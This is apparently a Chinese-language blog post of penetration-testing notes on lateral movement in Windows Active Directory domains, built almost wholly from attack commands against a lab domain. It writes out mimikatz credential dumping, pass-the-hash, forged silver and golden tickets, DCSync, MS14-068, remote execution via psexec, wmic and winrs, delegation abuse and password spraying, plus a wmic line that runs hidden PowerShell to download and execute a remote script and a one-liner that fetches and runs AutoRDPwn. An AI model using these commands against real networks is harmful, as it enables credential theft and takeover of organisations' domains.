内网 | 横向(杂项)

横向移动

ptx(没有得到明文)

pth(pass the hash)

拿不到明文,我们又想用ntlm hashes搞事情

条件:目标的用户名以及ntlm hash

工具:smbmap,crackmapexec,smbexec,msf,mimikatz.exe

注意:在使用pth的时候我们需要注意kb2871997这个补丁,对于非rid500的账户都不能远程登录ipc,或者psexec都不行

还有我门需要在这里注意下面几个注册表会对我们pth的账户有限制

不告诉你!!!!!!

mimikatz

首先我们获得本地的一个ntlm hash 需要管理员权限甚至是system权限。

privilege::debug

sekurlsa::logonpasswords

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt

pth攻击:

sekurlsa::pth /user:administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7

然后会弹出来自己的cmd,但是我们可以使用以下命令

net use 192.168.3.21c$
dir OWA2010CN-God.god.orgc$

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。cmd修改注册表命令:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

访问到了域控。注入成功后,可以使用psexec、wmic、wmiexec等实现远程执行命令。
还可以使用mimikatz实现rdp.

限制条件:
需要服务器端开启了Restricted Admin mode模式,受限管理员模式 ,主要功能是使得凭据不会暴露在目标系统中,使用当前Windows登录凭据,不需要输入口令,直接登录即可。所以为PTH提供了可能
适用系统:
Windows 8.1和Windows Server 2012 R2默认支持该功能Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

sekurlsa::pth /user:administrator /domain:GOD /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

crackmapexec

单个pth远程执行命令:

批量pth传递

crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7

wmiexec.exe(其实也有powershell,py,vbs版本)

单个目标横向移动:

wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 God/administrator@192.168.3.21 "whoami"

批量pth:

wmiexec Target 192.168.3.0/24 Domain God Username administrator Hash ccef208c6485269c20db2cad21734fe7

God为域,如果无域就是workgroup

ps版本的批量pth:

本地加载(推荐使用)
powershell -exec bypass
Import-Module .Invoke-WMIExec.ps1
Import-Module .Invoke-TheHash.ps1

Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Domain God -Username administrator -Hash ccef208c6485269c20db2cad21734fe7

ptt(pass the ticket)

白银票据

特点:

  1. 不需要和kdc进行交互
  2. 需要目标服务的ntlm hash
  3. 域内所有用户的域sid是一样的。

模拟一个场景:
当我们拿下一个域内服务器,但是我们不是域内账户,我们要使用域内账户的服务,而且这个服务需要经过kdc的验证,这个时候我们就可以使用白银票据。

mimikatz.exe 伪造 CIFS 服务

kerberos::list 列出票据

kerberos::purge 清除票据

伪造方式
先导出目标服务器的hash(这时候我们已经是高权限了)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

伪造票据:

mimikatz "kerberos::golden /domain: <域名> /sid:<域的sid> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt" exit

获得文件共享服务的权限

伪造文件共享服务的权限。
192.168.3.21如下:

假设我们现在知道了域控的ntlm hash那么

mimikatz "kerberos::golden /domain:God.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD /service:CIFS /rc4:ccef208c6485269c20db2cad21734fe7 /user:administrator /ptt" exit

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:cifs /user:administrator /ptt

这里的域sid是用户的sid去除最后的一个值。

下面是我们文件服务器白银票据的传递:

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:FILESERV.god.org /rc4:4776208f07860f0613573460bd72db10 /service:cifs /user:123 /ptt

mimikatz.exe 伪造LDAP 服务权限

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:ldap /user:administrator /ptt

前提:我们能够获取的用户的权限足够大

通过这种方法能够拿到,对于域控可以拿到指定用户的ntlm hash,如果是krbtgt的hash那么就可以直接使用黄金票据,美滋滋~。

命令格式

lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名

这里我们
example:

lsadump::dcsync /dc:OWA2010CN-God.god.org /domain:God.org /user:webadmin

向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。

白银票据开启远程powershell服务

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:http /user:administrator /ptt

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-GOD.god.org /rc4:cff20495f1cc8124223be0c930beea4a /service:wsman /user:administrator /ptt

黄金票据

黄金票据的条件要求:
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot] 
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value] 
3.域的KRBTGT账户NTLM密码哈希4.伪造用户名

在域内管理员是都可以访问域控的。
一旦拥有访问权限,就可以使用mimikatz来提取krbtgt账户密码hash

在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性.

在迁移方案中,从DomainA迁移到DomainB的用户将原始DomainA用户SID值添加到新的DomainB的 SID History属性中。当用户使用新帐户登录DomainB时,DomainA SID将与确定访问的DomainB用户组一起验证。这意味着可以将SID添加到SID历史记录以扩展访问。  一旦Mimikatz支持Golden Ticket(和Silver Tickets)中的SID History,事情会变得更加有趣,因为AD Forest中的任何组都可以被包含并用于授权访问。使用最新版本的Mimikatz,我们现在可以将SID历史记录添加到Forest Enterprise Admins组的Golden Ticket中。一旦单个域名的KRBTGT帐户密码哈希被获取到,通过黄金票据可伪造用户登录到整个森林中。 总而言之,一旦一个域名受到威胁。黄金门票现在可以用来微机AD森林中的任何域

除非在Enterprise Admins中,否则黄金票据不能跨域信任使用,。标准的黄金票据仅限于其创建的子域.

mimikatz.exe黄金票据

privilege::debug

lsadump::lsa /patch

mimikatz log "lsadump::dcsync /domain:God.org /user:krbtgt"

b097d7ed97495408e1537f706c357fc5

使用krbtgt的hash值:

kerberos::golden  /admin:ADMIINACCOUNTNAME  /domain:DOMAINFQDN /id:ACCOUNTRID  /sid:DOMAINSID  /krbtgt:KRBTGTPASSWORDHASH  /ptt

kerberos::golden /admin:administrator  /domain:God.org /id:502  /sid: S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5  /ptt

使用krbtgt的aes256值:

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god/ticket:gold.kirbi"

kerberos::ptt c:gold.kirbi

就可以啦。

new:
mimikatz "kerberos::golden /domain:<域名> /sid:<域sid> /rc4:"

mimikatz "kerberos::golden /domain:God.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /rc4:b097d7ed97495408e1537f706c357fc5 /user:ab /ptt" exit

使用psexec可以反弹cmd的shell

黄金票据+dcsync获取指定用户的密码

接着上面我们已经实现黄金票据

lsadump::dcsync /user:boss /domain:God.org

ms14-068

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

ms14-068.exe -u webadmin@God.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

然后就可以~

ptk(pass the key)

获取目标用户的aes key

mimikatz "privilege::debug" "sekurlsa::ekeys"

注入aes key:

mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"

注意这里需要高权限。

成功得到用户明文密码

psexec (445 139)

要求:

  1. smb服务必须打开
  2. 文件和打印机共享必须打开
  3. admin$必须可以访问

psexec.exe 192.168.3.21 -u administrator -p Admin12345 -s cmd

wmi(135)

直接上线

wmic /NODE:192.168.3.31 /user:"" /password:"admin!@#45" PROCESS call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://...***:99/a'))""

wmic.vbc

cscript.exe .wmiexec.vbs /shell 192.168.3.21 Godadministrator Admin12345

smbexec or dcomexec

上面两个文件有各种代码的版本

eg:

smbexec -hashes xxxxxx administrator@192.168.3.21

winrs

winrs -r:192.168.3.21 -u:administrator -p:Admin12345 "whoami"

反弹shell

winrs -r:192.168.3.21 -u:administrator -p:Admin12345 "cmd"

这个太过麻烦了,之前可能需要一些配置trusthost之类的

委派攻击

非约束委派

前提:需要域管理员登陆过

非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

利用方式

使用adfind查询非约束委派

AdFind.exe -b "DC=God,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

或者powerview

powershell -exec bypass

Import-Module .powerview.ps1

Get-NetComputer -Unconstrained -Domain God.org //查找非约束委派的主机

查找非约束委派的用户

然后我们使用mimikatz

privilege::debug

sekurlsa::tickets /export

将票据导出来,下面是管理员的一个票据

然后倒入内存

dir OWA2010CN-Godc$

非约束委派+printer spooler

spool sample

2012
未完.....

约束委派

然后需要我们设定一个服务用户

设置:setspn -U -A variant/golden xxx

查看是否成功:setspn -l xxx

查找约束委派用户

Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

查找域中配置约束委派的主机

Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

tgt::ask /user:fileadmin /domian:God.org /password:Admin12345 /ticket:123.kirbi

tgs::s4u /tgt:123.kirbi /user:administrator@God.org /service:cifs/webadmin.God.org

又会获得一个

kerberos::ptt 3.kirbi

这时候不出意外就可以访问啦

other

sc服务

远程启动一个exe可以直接上线

sc 192.168.3.21 create exampleservice binpath= "c:1.exe"

sc 192.168.3.21 start exampleservice

文件的移动

copy c:windows empwebadmi.txt OWA2010CN-God.God.orgc$

AutoRDPwn

powershell 4.0或者更高版本

查看版本

$host

项目的地址

https://github.com/joelgmsec/autordpwn

powershell -ep bypass "cd $env:temp ; iwr https://darkbyte.net/autordpwn.php -outfileAutoRDPwn.ps1 ; .AutoRDPwn.ps1"

然后他会让我们选择语言之类的
傻瓜操作

sharprdp

sharprdp.exe computername=dc01 command=whoami username=Godadministrator password=admin!@#45

adexplorer

这个工具只需要我们输入域,用户名密码就可以查看一些信息

adfind

域中也是有组的全局组,通用组,域本地组

以下是一些查询命令。


列出域控制器名称:
>AdFind -sc dclist

查询当前域中在线的计算机:
>AdFind -sc computers_active

查询当前域中在线的计算机(只显示名称和操作系统):>AdFind -sc computers_active name operatingSystem

查询当前域中所有计算机:
>AdFind -f "objectcategory=computer"

查询当前域中所有计算机(只显示名称和操作系统):
>AdFind -f "objectcategory=computer" name operatingSystem

查询域内所有用户:
>AdFind -users name

查询所有GPO:
>AdFind -sc gpodmp

指定用户名,指定组,指定域
adfind.exe -b cn=administrator,cn=administrator,dc=God,dc=org sn

用户组可以登陆普通的机器。
所以我尝试了使用webadmin去登陆了fileadmin是可以的

枚举会话

psloggedon.exe OWA2010CN-GOD

netsess.exe

pvefindaduser.exe

查看指定域的spn信息
setspn.exe -T offensive -q * / *

密码用户名枚举

powershell -exec bypass

Import-module .DomainPasswordSpray.ps1

这里有两个脚本还有一个是改编版地址如下:

https://payloads.online/scripts/Invoke-DomainPasswordSpray.txt

枚举用户

Get-DomainUserList -Domain God.org -RemoveDisabled -RemovePotentialLockouts

跑密码:

Invoke-DomainPasswordSpray -Domain God.org -Password Admin12345

Get-DomainUserList -Domain God.org -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

当然我们这里还可以使用字典来

Invoke-DomainPasswordSpray -UserList userlist.txt -Domain God.org -PasswordList 1.txt -OutFile test.txt

Invoke-DomainPasswordSpray -UserList userlist.txt -Domain God.org -PasswordList 1.txt -OutFile test.txt

参考

https://payloads.online/posts/
https://www.cnblogs.com/backlion/p/8119013.html
https://www.cnblogs.com/backlion/p/8127868.html

原文地址:https://www.cnblogs.com/J0ng/p/14374709.html